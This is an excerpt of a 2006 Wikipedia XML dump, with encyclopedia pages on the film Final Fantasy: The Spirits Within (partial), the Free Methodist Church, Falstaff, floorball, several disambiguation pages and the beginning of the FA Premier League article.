There is speculation that the failure of this film, coupled with other circumstances at the time and following years, proved to be the catalyst that inspired [[Square Co., Ltd.]]'s merger with [[Enix]].

==Technology==
[[Image:Akihot100.jpg|thumb|right|[[Aki Ross]] in ''Maxim'' magazine]]
''Final Fantasy'' quickly, though briefly, became a benchmark of CGI graphics realism to which performance of computer graphics hardware and quality of images in computer games is compared. The basic movie was rendered at a home-made render farm which consisted of 960 Pentium III-933MHz workstations. The render farm was made by [[Square Pictures]] located in Hawaii. Later in 2001 [[nVidia]] released a [[technology demo]] for the [[NVIDIA Quadro DCC]], rendering several scenes from the movie in real-time (compared with 1.5 hours per frame for the movie), albeit at only 10 [[frame rate|frames per second]] and with lower quality (simpler model with noticeable polygons, clipping problems, less realistic skin and textile with no/poor shaders &amp;ndash; &quot;plastic&quot; look, unrealistic lighting, poor specular highlighting and very limited self-shadowing).

The Square Pictures render farm and the nVidia demo used completely different and unrelated [[rendering]] algorithms -- [[ray tracing]] and other pixel-by-pixel [[CPU]]-based techniques never intended interactive speeds by the former, and a [[Graphics processing unit|GPU]]-based rasterized [[polygon mesh]] by the later.  The render farm also rendered at resolutions far higher than the [[GeForce 3]] is capable of. This makes frame-rate comparisons between the two uninformative.  Rather, the demo showed the high quality that [[raster graphics]] had achieved.

Prior to the film's release (and subsequent box office failure), Square had indicated plans for the Aki Ross &quot;synthetic actress&quot; to appear in other films, possibly even interacting with live actors. A sample of what this might have looked like can be seen on the introduction to the second DVD in the Special Edition release, which shows Aki &quot;breaking character&quot; after filming a scene and walking through the studio, interacting with both CGI and real people.

Shortly after the release of the film, the character of Aki Ross broke new ground by becoming the first computer-generated entry in ''[[Maxim (magazine)|Maxim]]''&lt;nowiki&gt;'&lt;/nowiki&gt;s Hot 100.

==Cast (voice actors)==
*[[Aki Ross]]: [[Ming-Na]]
*Dr. Cid: [[Donald Sutherland]]
*Gray Edwards: [[Alec Baldwin]]
*Ryan Whittaker: [[Ving Rhames]]
*Jane Proudfoot: [[Peri Gilpin]]
*Neil Fleming: [[Steve Buscemi]]
*General Hein: [[James Woods]]

==Images from the Movie==
&lt;gallery&gt;
Image:Aki8.jpg|Aki Ross in the opening of The Spirits Within.
Image:Deepeyes.jpg|Deep Eyes soldier
Image:Beasts.jpg|The Phantoms
Image:Aki3.jpg|Aki must discover the meaning behind the vivid dreams she keeps having of the Phantoms.
&lt;/gallery&gt;

==External links==
* {{imdb title|id=0173840|title=Final Fantasy: The Spirits Within}}
* [http://arstechnica.com/wankerdesk/01q3/ff-interview/ff-interview-1.html Behind Scenes Interview by Ars Technica]

==See also==
*[[Uncanny Valley]]

[[Category:2001 films]]
[[Category:Computer-animated films]]
[[Category:Final Fantasy in film and television]]
{{Final Fantasy series}}

[[da:Final Fantasy - The Spirits Within]]
[[de:Final Fantasy: Die Mächte in dir]]
[[fr:Final fantasy, les créatures de l'esprit]]
[[ja:ファイナルファンタジー (映画)]]
[[sk:Final Fantasy: Esencia Života]]
[[fi:Final Fantasy: The Spirits Within]]</text>
    </revision>
  </page>
  <page>
    <title>Filter</title>
    <id>11243</id>
    <revision>
      <id>41547494</id>
      <timestamp>2006-02-28T02:00:36Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">{{wiktionary}}
The term '''filter''' may refer to:
* In chemistry, engineering, or household usage, a device to separate mixtures. See
**[[filter (chemistry)]]
**[[filter (water)]]
**[[filter (air)]]
**[[pneumatic filter]].
* In optics and photography, a device to remove or block certain wavelengths (colors) of light. See
**[[filter (optics)]]
**[[filter (photography)]]
**[[infrared filter]]
* In computing, a program to process a data stream. See
**[[filter (software)]]
**[[filter (Unix)]]
**[[mail filter]]
**[[Internet filter]]
**[[lameness filter]].
* In [[signal processing]] applications such as telecommunications and music, an electronic or mechanical device, or mathematical algorithm, to modify the harmonic content of signals. See
**[[electronic filter]]
**[[audio filter]].
* In mathematics, a certain kind of [[subset]] of a [[partially ordered set]]. See
**[[filter (mathematics)]].
* In psychology, a type of learning blockage. See
**[[affective filter]].

'''Filter''' may may also be the name of:
* [[Filter (band)]], an industrial rock band of the 1990s
* ''[[Filter (television)]]'', a show on the G4 channel: 
* ''[[Filter (magazine)]]'', an off-beat indie music magazine

==See also==
* [[Filter coffee]], a hot drink
* [[Filter feeder]], an animal that strains food particles from water
* [[Potion|Philter]], a magical potion
* [[Filtration]]
* [[Conversion]]

{{disambig}}

[[Category:Filters| ]]

[[da:Filter]]
[[de:Filter]]
[[es:Filtro]]
[[eo:Filtro]]
[[fr:Filtre]]
[[it:Filtro]]
[[nl:Filter]]
[[ja:フィルター]]
[[pl:Filtr]]
[[pt:Filtro]]
[[fi:Suodatus]]</text>
    </revision>
  </page>
  <page>
    <title>Free Methodist Church</title>
    <id>11244</id>
    <revision>
      <id>41884086</id>
      <timestamp>2006-03-02T10:01:12Z</timestamp>
      <contributor>
        <ip>192.85.50.1</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:FMClogo.jpg|right]]
The '''Free Methodist Church''' is a denomination of [[Methodism]], which is a branch of [[Protestantism]]. It was founded in [[1860]] in [[New York]]'s [[Burned-over district]] by a group, led by [[B. T. Roberts]], who was defrocked in the [[Methodist Episcopal Church]] for criticisms of the spiritual laxness of the church hierarchy.  The Free Methodists are so named because they believed it was improper to charge for better seats in pews closer to the pulpit.  They also opposed [[slavery]] and supported freedom for all slaves in the [[United States]], while many Methodists in the [[U.S. Southern states|South]] at that time did not actively oppose slavery. Beyond that, they advocated &quot;freedom&quot; from secret societies, which had allegedly undermined parts of the Methodist Episcopal Church. An example would be [[Free Masons]].

At first the church consisted of many former Methodist Episcopal people who had been actively involved in the [[Underground Railroad]] just prior to the [[American Civil War]], which had sought to aid escaped slaves gain safety and freedom in [[Canada]]. Some of the stations are still centers of Free Methodist activity today, such as [[North Chili, New York]], site of present-day [[Roberts Wesleyan College]], a Free Methodist school named after the founder. From there fugitive slaves were taken to [[Lake Ontario]] and boated across to Canada. Another Underground Railroad site was [[Pekin, New York]], near the [[Niagara River]], where slaves also crossed. This tiny town was the site of a [[Holiness movement|Holiness]] [[camp meeting]], as well, and the site of the organizational conference of the church in 1860. The denomination also has numerous churches in the [[Midwest]], some of the oldest ones also being in communities that were [[Abolitionism|abolitionist]] centers and Underground Railroad stops along the southern shore of [[Lake Michigan]].

Today, the Free Methodist Church is considered to be a part of [[Evangelicalism|Evangelical]] Protestant Christianity, and its [[theology]] is similar to that of the [[Wesleyan Church]], the [[Church of the Nazarene]] and other [[Holiness]] churches.  Members have traditionally abstained from [[alcoholic beverage|alcohol]] and [[tobacco]], but many today drink in moderation. The denomination is more conservative, smaller and not as well organized as the United Methodist Church. Many young church planters are also starting [[emerging church]] ministries.

''Light and Life'' is the official [[magazine]] of the Free Methodist Church in the United States.  It has about 77,000 members in the United States and an average attendance of 105,000 at its Sunday services. Worldwide its membership is well over 700,000 with large segments of membership in the Democratic Republic of Congo, India, and Brazil.

The denomination currently maintains the following educational institutions: [[Roberts Wesleyan College]], [[Spring Arbor University]], [[Greenville College]], [[Central Christian College]], [[Azusa Pacific University]], and [[Seattle Pacific University]] in the United States. [[Osaka Christian College]] is located and run by the Japanese church, and [[Hope Africa University]] is a recently founded school in [[Bujumbura, Burundi]].

The Free Methodist Church's highest governing body is the World Conference which is composed of representatives, both lay and clergy, from all countries with a Free Methodist presence. The church currently has ministry in 72 countries around the world. These are:

'''Africa'''
*Botswana 
*Burundi 
*Cameroon 
*Democratic Republic of Congo 
*Egypt 
*Ethiopia 
*Gabon
*Ghana
*Kenya
*Liberia
*Malawi
*Middle East
*Mozambique
*Nigeria
*Rwanda
*South Africa
*Tanzania
*Togo
*Uganda
*Zambia
*Zimbabwe

'''Asia'''
*Australia
*Cambodia
*Hong Kong
*India
*Japan
*Malaysia
*Myanmar
*Nepal
*Philippines
*South Korea
*Sri Lanka
*Taiwan
*Thailand

'''Europe'''
*Belgium
*France
*Greece
*Hungary
*Portugal
*Romania
*Spain
*Ukraine
*United Kingdom

'''Latin America'''
*Antigua
*Argentina
*Bahamas
*Bolivia
*Brazil
*Chile
*Colombia
*Costa Rica
*Dominican Republic
*Ecuador
*El Salvador
*French Guiana
*Haiti
*Mexico
*Nicaragua
*Panama
*Paraguay
*Peru
*Puerto Rico
*Uruguay
*Venezuela

'''North America'''
*Canada
*United States


== External links ==
* [http://www.freemethodistworld.org/ Free Methodist World Conference]
* [http://www.freemethodistchurch.org/ Free Methodist Church of North America]
* [http://www.fmc-canada.org/ Free Methodist Church in Canada]
* [http://www.freemethodist.org.uk/ Free Methodist Church - United Kingdom Conference]
* [http://www.fmc-europe.org/ Free Methodist Church in Europe]


[[Category:Christian denominations of North America]]
[[Category:Methodism]]</text>
    </revision>
  </page>
  <page>
    <title>Fixed point</title>
    <id>11245</id>
    <revision>
      <id>33012400</id>
      <timestamp>2005-12-28T17:08:18Z</timestamp>
      <contributor>
        <username>Lumidek</username>
        <id>66753</id>
      </contributor>
      <comment>/* Physics */</comment>
      <text xml:space="preserve">'''''Fixed point''''' has many meanings in science, most of them mathematical. 

==Mathematics==
*[[fixed point (mathematics)|Fixed point]] &amp;mdash; a number ''x'' that makes ''f''(''x'') = ''x''. There exists a number of [[fixed-point theorem]]s. 
*[[Fixed point space]]
*[[Fixed-point lemma for normal functions]]

==Computing==
*[[Fixed-point arithmetic]] &amp;mdash; manner of doing arithmetic on computers: a fixed number of decimal (or binary) digits is kept after the decimal point, any remaining digits are rounded.
*[[Fixed point combinator]]

==Physics==
*[[Conformal field theory]] is a different description of a fixed point in the context of the [[renormalization group]], for example see [[infrared fixed point]]

{{disambig}}
[[he:נקודת שבת]]</text>
    </revision>
  </page>
  <page>
    <title>Falstaff</title>
    <id>11246</id>
    <revision>
      <id>41947754</id>
      <timestamp>2006-03-02T20:42:08Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <comment>/* Origins */ fuller background</comment>
      <text xml:space="preserve">:''This page is about the Shakespearean character. See also [[Falstaff (opera)|Verdi's opera &quot;Falstaff&quot;]].
'''Sir John Falstaff''' is a [[fictional character]] who appears in three plays by [[William Shakespeare]] primarily as a companion to Prince Hal, the future King Henry V. Round and glorious, tradition holds that Shakespeare wrote the part for his second comedian, a fat man, [[John Heminges]], who played a bold, bawdy humor of a [[John Candy]] sort. An alternative theory is that Falstaff was written for [[Will Kemp]], the clown of Shakespeare's company. The original actor was later succeeded by [[John Lowin]], another portly comic actor. Flush with flatulent humor, Falstaff still managed to embody a kind of depth common to Shakespeare's tricky comedy. In Act II, Scene III of ''[[Henry V (play)|Henry V]]'', his death is described by the character &quot;Hostess&quot;, possibly the bar-lady [[Mistress Quickly]], who describes his body in terms that echo the death of [[Socrates]].

==Appearances==

He appears in the following plays:
*''[[Henry IV, part 1]]''
*''[[Henry IV, part 2]]''
*''[[The Merry Wives of Windsor]]''

He is mentioned in ''[[Henry V (play)|Henry V]]'' but has no lines, nor is it directed that he appear on stage.  However, many stage and film adaptations have seen it necessary to include Falstaff for the insight he provides into [[Henry V of England|King Henry V]]'s character.  The most notable examples in cinema are [[Laurence Olivier]]'s [[Henry V (1946 movie)|1946 movie]] and [[Kenneth Branagh]]'s [[Henry V (1989 movie)|1989 movie]], both of which draw additional material from the ''Henry IV'' plays.

[[Orson Welles]]'s ''[[Chimes at Midnight]]'' ([[1966]]) compiles the two ''Henry IV'' plays into a single, condensed storyline, while adding a handful of scenes from ''[[Richard II (play)|Richard II]]'' and ''Henry V''.  The movie, also known as ''Falstaff'', features Welles himself in the title role.

'''''[[Falstaff (opera)|Falstaff]]''''' ([[1893]]) is also the title of [[Giuseppe Verdi]]'s last [[opera buffa|opera]], with a [[libretto]] by [[Arrigo Boito]].  It is mostly based upon ''The Merry Wives of Windsor''.
 
Falstaff is also mentioned in [[The Tragically Hip]] song &quot;Fiddler's Green&quot;.  Recently, the [[Gus Van Sant]] film, ''[[My Own Private Idaho]]'', offered a version of the two parts of ''Henry IV''; in it Falstaff is Bob, a derelict and petty thief.  Novelist [[Robert Nye]] has a novel entitled ''Falstaff''.

==Character==

What makes portly Sir John so entertaining? How is it, when his actions would repulse many in both a modern and medieval context, we find ourselves so attracted to this lying tub of lard? Speculation over the years has produced many possible answers, one no more likely than the next. Whether or not the Queen of England truly requested &quot;Merry Wives&quot; for herself because she was so fond of the &quot;huge hill of flesh&quot; (Henry IV pt I, Hal, Tavern Scene), most do find some sort of affectionate connection. Possibly his openness in his crimes, his lack of loyalty being so apparent — essentially his frankness (not so much honesty) in life, and his grinning self-determination, self observance.

At best, it can be said that [[Shakespeare's]] Falstaff reaches beyond merely making the audience laugh. “He is aware that life is a charade” and is markedly responsible for his situation. He besets our hearts, yea deeper still, to our diaphragms. We are his.  He has been too great a humoristic character to forfeit all good impressions within the length of one play.

(MacLeish, Kenneth. Longman guide to Shakespeare’s characters. Harlow: Longman, 1986. 87-88)

Falstaff is a central element in the two parts of “Henry IV,” a natural portion of their structure. Yet he does at times seem to be mainly a fun-maker, a character whom we both laugh with and laugh at, and almost in the same breath. Nothing has helped more to give this impression than the fat knight’s account of the double robbery at Gadshill.

Falstaff's character is necessary to Hal's character development just as Hotspur's temperament is necessary to his. Falstaff's wit, humor and amusing antics are needed to develop Hal. He helps us relate to Hal and his decision. We know people of all types of character and personality in our lives. They influence our thinking and decisions. So it is also necessary for Hal. Whether Falstaff is only a coward and glutton, or a person who has an &quot;amusing&quot; way of expressing his deeply felt personal and political beliefs is a matter of individual interpretation.

==Origins==

Falstaff was originally named 'Oldcastle' in the first performances of the play. The character was apparently based on Sir [[John Oldcastle]], historically known to be Prince Hal's companion. However, Oldcastle was unlike Falstaff in many ways; in particular, he was a [[Lollardy|Lollard]] who was executed for his opinions, and was revered by many Protestants as a [[martyr]]. During the first performances of ''1 Henry IV'', protests from Oldcastle's descendants &amp;mdash; the influential Cobham family &amp;mdash; forced Shakespeare to change the name. The new name 'Falstaff' is derived from Shakespeare's earlier play, ''[[Henry VI, part 1]]'', in which there is a cowardly character based on the medieval knight Sir [[John Fastolf]] (who was also a Lollard). Changing a few letters gave Shakespeare the name by which his invention is known today. Worried, perhaps, that this change would not placate his detractors, Shakespeare made a direct comment on the situation, in the epilogue of ''2 Henry VI'':

::::: If you be not too
:much cloyed with fat meat, our humble author will
:continue the story, with Sir John in it, and make
:you merry with fair Katharine of France: where, for
:any thing I know, Falstaff shall die of a sweat,
:unless already a' be killed with your hard
:opinions; for Oldcastle died a martyr, and this is
:not the man.

The character and deeds of Falstaff have very few similarities with those of his real-life eponym. Shakespeare's apparent desire to burlesque such heroes of early English Protestantism is one reason why some scholars believe he may have been a closet [[Roman Catholic Church|Catholic]].

There was a historical [[Sir John Fastolf]] who fought at the [[Battle of Patay]] against [[Joan of Arc]].  He was among the few English military leaders to avoid death or capture during the battle.  Although there is no evidence that he acted with cowardace, he became a scapegoat after the debacle and was stripped of his knighthood.  This correlates to the setting of [[Henry VI, Part I]].  The real John Fastolf became the scapegoat of this major English defeat, losing his knighthood as punishment.  There is no direct evidence that he acted improperly at this battle.  His other actions as a soldier had earned him wide respect.

==See also==

*Falstaff is also the name of a British rocket.  See [[Falstaff (rocket)]].
*Falstaff is an American beer originally produced by Lemp Brewing in [[1903]] and discontinued in [[2005]].  In its later years, it was brewed by [[Pabst]].
*[[Sir John Fastolf]]
*[[Sir John Oldcastle]]
*[[Battle of Patay]]
*[[Falstaff (opera)]]

[[Category:Shakespearean characters|Falstaff, Sir John]] 

[[de:Falstaff]]
[[ja:フォルスタッフ]]
[[sl:Falstaff (Verdi)]]
[[zh:法斯塔夫]]</text>
    </revision>
  </page>
  <page>
    <title>Floorball</title>
    <id>11247</id>
    <revision>
      <id>42125660</id>
      <timestamp>2006-03-04T00:07:21Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">[[Image:Floorball game.jpg|thumb|300px|A floorball match between powerhouses [[Sweden]] (yellow) and [[Finland]] (white)]]

'''Floorball''' is an indoor [[team sport]] played using composite sticks with a plastic vented blade where the aim is to put a light plastic ball into the opponent's goal. Floorball is most popular in [[Sweden]], [[Finland]] and [[Switzerland]], and is also played in several other countries, such as [[Norway]] and the [[Czech Republic]]. It is gaining popularity in many other places as well, including some countries outside [[Europe]], such as [[Singapore]], [[Japan]], [[Australia]] and the [[United States]].

Floorball is played in a court by six players per side. The objective of the game is to score goals by playing a plastic ball into the opponent's goal net, which is placed at the opposite end of the rink. The players may control and redirect the ball using a stick with a blade that is often curved at one end. Players must not use their hands, arms or head to play the ball on purpose. One may use other body parts. It is also allowed to play (especially stop) the ball once by foot, but not to score goals or pass to teammates.

A floorball team consist of 5 field players and one [[goalkeeper]], whose primary job is to stop the ball from entering the net, and who is permitted unique gear towards that end. The goalkeeper is not permitted a stick. The playing field is 40 x 20 [[metre]]s and enclosed by a board with rounded corners (50 cm tall). The goal cages are 1.60 x 1.15 m and 65 [[centimetre|cm]] deep. The sticks are made of [[plastic]] or [[carbon]] and a bit over 1 metre long. The shaft is no longer than 99 cm and a blade of a different kind of plastic is attached to its end. The ball is made of plastic, is 72 mm in diameter, has a maximum [[weight]] of 23 grams, and has 26 holes in it.

A world championship tournament is played every two years. The current reigning world champions are [[Switzerland]] (women, [[2005]]) and [[Sweden]] (men, [[2004]]) ([http://www.floorball.org/wfcres.htm Floorball World Championships]).

== The game ==
[[Image:Floorball rink.png|thumb|right|The dimensions of a floorball rink]]
Floorball as a game comes from northern Europe. It is similar to [[Bandy]], a kind of sport considered the predecessor of [[ice hockey]]. Floorball is sometimes likened to ice hockey without the ice skates, but there are considerable differences in the rules. In [[Switzerland]], floorball is commonly considered to be a kind of [[hockey]].

Floorball is a fast and dynamic sport with much of the time played near the goals. The mixture of endurance, power and precision make floorball a popular game in schools.

Floorball is not only played on the original rink, but also on a smaller court measuring 24 x 14 m. In the smaller court a team consists of three field players and one goalie. The rules do not differ, with some adjustions for the smaller rink. In the initial years of floorball, the goalkeeper was permitted to use a special kind of stick, but today no stick is used. 

On the original field, the game is played by five field players and one goalie on each side. The team consists of a larger number of players which can be substituted at any time. A floorball game is usually played over 3 periods of 20 minutes. Time is stopped in the case of time penalties, goals and timeouts. There is a break of ten minutes between the thirds. If the game is part of a tournament, the time may be shortened to 2 x 20 minutes and the break to 5 minutes. In both cases, the last three minutes the clock is only running when the balls is in play. Each team is allowed a timeout of 30 seconds. There are two referees in charge of each game, both of which have the same authority.

[[Image:Floorballball.jpg|right|thumb|A floorball. This is a precision type ball, characterized by 1516 tiny dimples that reduce air resistance, as well as friction on the floor.]]
The stick used in floorball is exactly regulated. The shaft may be at most 99 cm long, and the whole stick must not weigh more than 350 grams. Its material is plastic and it is hollow. Generally lighter sticks are preferred. The ball is made of white plastic and hollow. It has a diameter of 72&amp;nbsp;mm and weighs between 20 and 23 grams. There are 26 holes, each of which measuring 11&amp;nbsp;mm. The goals are 160&amp;nbsp;cm wide and 115&amp;nbsp;cm high; their depth is 65&amp;nbsp;cm.

The goalie wears special equipment. His trousers are long and padded. The shirt is padded and might be long. The goalie is allowed to wear gloves (though not commonly used), but a mitt is not permitted. The goalie wears a helmet to protect his face. All the equipment worn by the goalie has the purpose to protect the goalkeeper and must not augment the area as covered by the goalie without the protective wear. The goalie does not have a stick. The field players on the other hand only wear shorts, a shirt, socks and indoor sport shoes. They are allowed shin guards.

Compared to [[ice hockey]] floorball does not permit the use of the body as much. No checks are allowed, nor is pushing, blocking etc. Such rules help a dynamic game which emphasizes tactics.

A free hit is the standard position after a foul. There are time penalties of two and five minutes for harder fouls; ten minutes are reserved for ''unsportsmanlike behaviour''. For extreme cases there are match penalties (''red card'').

== History ==
There are a great number of people that think they have ''invented'' floorball. It is commonly considered that the roots of floorball go back to the [[1950s]] in the [[United States|USA]]. At the time young people played indoors with plastic sticks and a plastic puck. The game was called ''floor hockey'' and the first tournament was organized in [[1976]] in [[Michigan]].

When ''floor hockey'' reached [[Europe]] the puck was soon dropped in favour of a light plastic ball. The new sport with the name ''floorball'' was first played in [[Sweden]] in the early [[1970s]]. It soon gained popularity at schools and in leisure clubs. At that time, the goals were much smaller, but there was no goal keeper.

Floorball soon caught on and in the late [[1970s]] the sport spread across Europe. In the early [[1980s]] many national associations were founded. This created the structures that enabled the young sport to grow faster. At the time of writing ([[2004]]) only four countries dominate the international game: [[Sweden]], [[Finland]], [[Switzerland]] and the [[Czech Republic]]. The gap to other countries, however, is narrowing year by year.

== National associations ==
The following list shows the year in which a national association was founded.
* [[1981]] [[Sweden]]
* [[1983]] [[Japan]]
* [[1985]] [[Finland]] and [[Switzerland]]
* [[1986]] the ''International Floorball Federation'' (IFF) was founded
* [[1989]] [[Denmark]], and [[Hungary]]
* [[1991]] [[Norway]]
* [[1992]] [[Russia]], the [[Czech Republic]], and [[Germany]]
* [[1993]] [[United States|USA]], [[Estonia]], and [[Latvia]]
* [[1995]] [[Poland]], [[Belgium]], [[Singapore]], and [[Great Britain]]
* [[1996]] [[Austria]] and [[Australia]]
* [[1999]] [[Netherlands]], [[Brazil]], [[Slovakia]]
* [[2001]] [[Spain]], [[Italy]], [[Slovenia]], [[Canada]], and [[New Zealand]]
* [[2002]] [[Malaysia]], [[India]], and [[Georgia (country)|Georgia]]
* [[2003]] [[France]]
* [[2004]] [[Pakistan]]
* [[2005]] [[Korea]], [[Ukraine]], [[Liechtenstein]], and [[Iceland]]

== The International Federation ==
The ''International Floorball Federation'' (IFF) was founded in [[1986]] in Sweden. Founding nations were [[Sweden]], [[Finland]] and [[Switzerland]]. In [[1994]] the first European championship for men took place in [[Zurich]]. The following year the first European championship for women was organized. The first world championship for men took place in [[1996]] in [[Sweden]]. The following year the first world championship for women was organized. Since then the world championships for men and women take place in alternating years. As of [[2005]] there are 36 member countries in the IFF, with over 3,900 clubs and 230,000 registerd players. There is organized floorball in some countries that are not IFF members.

The IFF gained full membership of the GAISF (General Association of International Sports Federations) in [[2004]]. Every year the European Cup is organized. World Championships take place every other year, with even years for men, and odd years for women.

==Championships==
World championships are played in alternate years

===Women's world champions===
*[[1997]] — [[Sweden]], held in Finland
*[[1999]] — [[Finland]], held in Sweden
*[[2001]] — Finland, held in [[Latvia]]
*[[2003]] — Sweden, held in Switzerland
*[[2005]] — [[Switzerland]], held in Singapore

===Men's world champions===
*[[1996]] — Sweden, held in Sweden
*[[1998]] — Sweden, held in the [[Czech Republic]]
*[[2000]] — Sweden, held in Norway
*[[2002]] — Sweden, held in Finland
*[[2004]] — Sweden, held in Switzerland

===European championship===
Before playing world championships, the European championship was held twice. In [[1994]] Sweden's men were crowned European champions in Finland; in [[1995]] Finland's men and Sweden's women were victorious in Switzerland.

===North American Floorball Championship===
Contested each year, currently based on an aggreagte scoring system played over two tournaments - East Coast Tournament (Raleigh, NC) and the Canada Cup (Toronto, Canada). 
 
*[[2005]] Champion - [http://www.BostonPuukadet.com/ Boston Puukadet]

*[[2004]] Champion - [http://www.BostonPuukadet.com/ Boston Puukadet]

===European Cup===
The European Cup is organized every year in order to establish the best team in Europe. The championship was adjusted to the sports year which runs across two calendar years in [[2000]].

The women's champions so far:
*1993 [[VK Rasket]], Sweden (held in [[Helsinki]], Finland)
*1994 [[Sjöstad IF]], Sweden (held in [[Chur]], Switzerland)
*1995 Sjöstad IF, Sweden (held in [[Karlstad]], Sweden)
*1996 [[Högdalens AIS]], Sweden (held in [[Stockholm]], Sweden)
*1997 Högdalens AIS, Sweden (held in Stockholm, Sweden)
*1998 Högdalens AIS, Sweden (held in Helsinki &amp; [[Vantaa]], Finland)
*1999 Tapanilan Erä [http://www.tapanilanera.fi/], Finland (held in [[Bern]] &amp; [[Winterthur]], Switzerland)
*2000-2001 Balrog IK [http://www.balrog.com/], Sweden (held in [[Gothenburg]], Sweden)
*2001-2002 Balrog IK, Sweden (held in [[Botkyrka]] &amp; [[Solna]], Sweden)
*2002-2003 Balrog IK, Sweden (held in [[Prague]] &amp; [[Liberec]], Czech Republic)
*2003-2004 SC Classic [http://www.scclassic.com/], Finland (held in [[Weissenfels]], [[Merseburg]] &amp; [[Hohenmölsen]], Germany)
*2004-2005 Red Ants Rychenberg [http://www.redants.ch/ ], Switzerland (held in [[Zurich]] &amp; [[Adliswil]], Switzerland)
*2005-2006 IKSU, Sweden (held in [[Ostrava]], [[Czech Republic]])

The men's champions so far:
*1993 Balrog IK, Sweden (held in Stockholm, Sweden)
*1994 Balrog IK, Sweden (held in Chur, Switzerland)
*1995 [[Kista IBK]], Sweden (held in Karlstad, Sweden)
*1996 Balrog IK, Sweden (held in Stockholm, Sweden)
*1997 [[Fornudden IB]], Sweden (held in Stockholm, Sweden)
*1998 Warbergs IC-85 [http://www.wic-85.se/], Sweden (held in Helsinki, Finland)
*1999 Warbergs IC-85, Sweden (held in Bern, [[Sarnen]] &amp; [[Zuchwil]], Switzerland)
*2000-2001 [[Helsingfors IFK]], Finland (held in Gothenburg, Sweden)
*2001-2002 [[Haninge IBK]], Sweden (held in Solna &amp; Botkyrka, Sweden)
*2002-2003 Haninge IBK, Sweden (held in Prague, Czech Republic)
*2003-2004 Pixbo Wallenstam IBK [http://www.pixbo.se/ ], Sweden (held in Weissenfels, Hohenmölsen, Germany)
*2004-2005 SV Wiler-Ersingen [http://www.svwe.ch/], Switzerland (held in Zurich &amp; Adliswil, Switzerland)
*2005-2006 Warbergs IC-85, Sweden (held in Ostrava, Czech Republic)

== External links ==
{{commonscat|Floorball}}

=== Federations ===
* [http://www.floorball.org/ International Floorball Federation]
* [http://www.swissunihockey.ch/ Swiss Floorball Federation]
* [http://www.innebandy.se/ Swedish Floorball Federation]
* [http://www.salibandyliiga.fi/ Finnish Floorball Federation]
* [http://www.gbff.co.uk/  Great Britain Floorball Federation]
* [http://www.nefub.nl/  Netherlands Floorball Federation]
* [http://www.floorball.dk/  Danish Floorball Federation]
* [http://www.canadafloorball.ca/  Canadian Unihockey Floorball Federation]

=== Equipment manufacturers ===
* [http://www.exelsports.net/ Exel]
* [http://www.unihoc.se/ Unihoc]
* [http://www.zone.se/ Zone]
* [http://www.canadien.se/ Canadien]
* [http://www.handofdoom.net/ Karhu]
* [http://www.fatpipe.fi/ Fat Pipe]
* [http://www.salmingsports.com/ Salming]
* [http://www.jolly.se/ Jolly]

=== Others ===
* [http://www.ultimatefloorball.com/ Ultimate Floorball Store]
* [http://www.floorball-linkpage.com/ International Floorball Linkpage]
* [http://www.afacorp.com/floorball_usa/down_loads/Floorball%20High%20Lights.mpg Floorball movie (150MB)]
* [http://www.floorballauthority.com/ Floorball Equipment]
* [http://www.floorballamerica.com/ Floorball Initiative]
* [http://www.powerinside.ch/ Powerinside.ch - Floorball Portal with a lot of news and movies]
* [http://www.floorball.org.uk/ British Northern League]
* [http://www.balweariefloorball.co.uk/ Balwearie Floorball Club, Scotland]

[[Category:Team sports]]
[[Category:Indoor sports]]
[[Category:Hockey]]
[[Category:Ball games]]

[[cs:Florbal]]
[[de:Unihockey]]
[[et:Saalihoki]]
[[es:Floorball]]
[[fr:Unihockey]]
[[is:Bandý]]
[[nl:Unihockey]]
[[no:Innebandy]]
[[fi:Salibandy]]
[[sv:Innebandy]]</text>
    </revision>
  </page>
  <page>
    <title>FA Premier League</title>
    <id>11250</id>
    <revision>
      <id>42123416</id>
      <timestamp>2006-03-03T23:49:27Z</timestamp>
      <contributor>
        <username>Starfighter Pilot</username>
        <id>490133</id>
      </contributor>
      <comment>/* Worldwide reach */ Gerrard was listed twice!</comment>
      <text xml:space="preserve">::''&quot;Premier League&quot; redirects here. See [[List of professional sports leagues]]. for other sports leagues which (maybe unofficially) are referred to by this name.''

[[Image:BEPL.jpg|thumb|Current international logo of Barclays English Premier League]]
[[Image:FA Premier League.png|thumb|Original FA Premier League logo]]
The '''FA Premier League''' (which, for [[English football sponsorship|sponsorship]]/legal reasons, is often referred to as the '''Barclays Premiership''' in the [[United Kingdom|UK]] and the '''Barclays English Premier League''' internationally) is a league competiton for [[England|English]] [[football (soccer)|Football]] clubs located at the top of the [[English football league system]] (above [[The Football League]]), making it England's primary football competition.

==Overview==
The FA Premier League comprises the top 20 [[football (soccer)|football]] clubs in the [[English football league system|league system]] of [[Football in England|English football]]. It was created in [[1992]], when the [[Football League First Division|First Division]] football clubs broke away from [[the Football League]] after securing a greatly improved TV rights deal with the then fledgling [[satellite television]] company [[British Sky Broadcasting|BSkyB]]. The new name was simply a commercial restructuring and a rebranding exercise as there was no innovation in competitive terms; an identical first tier league had existed the previous season. The Premiership boasts some of the best players in the world, including many from outside England.
The Premier League is the most lucrative football league in the world, with total club revenues of over £1.3 billion in 2003&amp;ndash;04 according to [[Deloitte]], more than 50 percent above its nearest competitor, Italy's [[Serie A]] {{ref|revenue}}. It is currently second in the [[UEFA]] rankings of European leagues based on their performances in European competitions over a five year period, behind Spain's [[La Liga]], and was the best performing league in 2004&amp;ndash;05{{ref|performance}}.

Based on [[December 2005]] [[exchange rate]]s, £1.3 billion converts to annual league revenue of about [[US Dollar|US$]]2.2 billion.  This figure is comparable with the annual revenues of [[United States|American]] [[major sports league]]s.

The 2004-05 average attendance of 33,893 for league matches is the [[sports attendances|fourth highest]] of any domestic professional sports league in the world. The only leagues ahead of the Premier League are:
*The runaway leader in average game attendance, the [[National Football League]] in the [[United States]] ([[American football]]).
*The leader in football, the [[Bundesliga (football)|First Bundesliga]] in [[Germany]]. Note that the total season attendance is higher in England, as the German league has only 18 teams to the Premiership's 20.
*The [[Australian Football League]], the highest-level competition in [[Australian rules football]].

===The competition===
